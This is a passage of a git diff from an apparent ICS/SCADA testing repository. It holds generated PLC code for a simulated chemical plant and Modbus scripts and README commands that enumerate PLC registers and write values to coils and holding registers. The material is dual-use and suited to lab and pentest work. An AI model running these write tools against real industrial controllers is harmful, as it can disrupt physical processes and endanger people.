__DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) 